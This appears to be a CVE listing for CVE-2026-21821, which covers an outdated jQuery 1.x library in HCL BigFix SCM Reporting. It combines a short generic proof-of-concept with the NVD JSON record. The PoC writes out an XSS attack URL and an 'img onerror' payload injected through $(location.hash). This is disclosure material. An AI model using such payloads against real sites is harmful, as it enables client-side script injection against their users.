CVE-2026-21821

<!-- PoC for jQuery 1.x XSS vulnerability --> <!-- Scenario: The application uses $(location.hash) or similar unsafe selector --> <!-- Attack URL: http://vulnerable-site/page.html#<img src=x onerror=alert(1)> --> <script> // This script simulates the vulnerable behavior in jQuery 1.x // If the target page includes code like: $(location.hash).appendTo('body'); // The payload inside the hash will be executed. // Malicious payload: var payload = "<img src=x onerror=alert('CVE-2026-21821 PoC')>"; // In a real attack, this would be part of the URL fragment. console.log("Payload to inject: " + payload); // Vulnerable jQuery code simulation: // $(payload).appendTo('body'); // This triggers the XSS in old jQuery </script>

{"cve": {"id": "CVE-2026-21821", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:41.590", "lastModified": "2026-05-14T18:24:08.747", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. Since jQuery 1.x has reached end-of-life and no longer receives security updates, it may expose the application to publicly known security weaknesses and increase the risk of client-side attacks such as Cross-Site Scripting (XSS) or manipulation through vulnerable third-party components."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1104"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130744", "source": "[email protected]"}]}}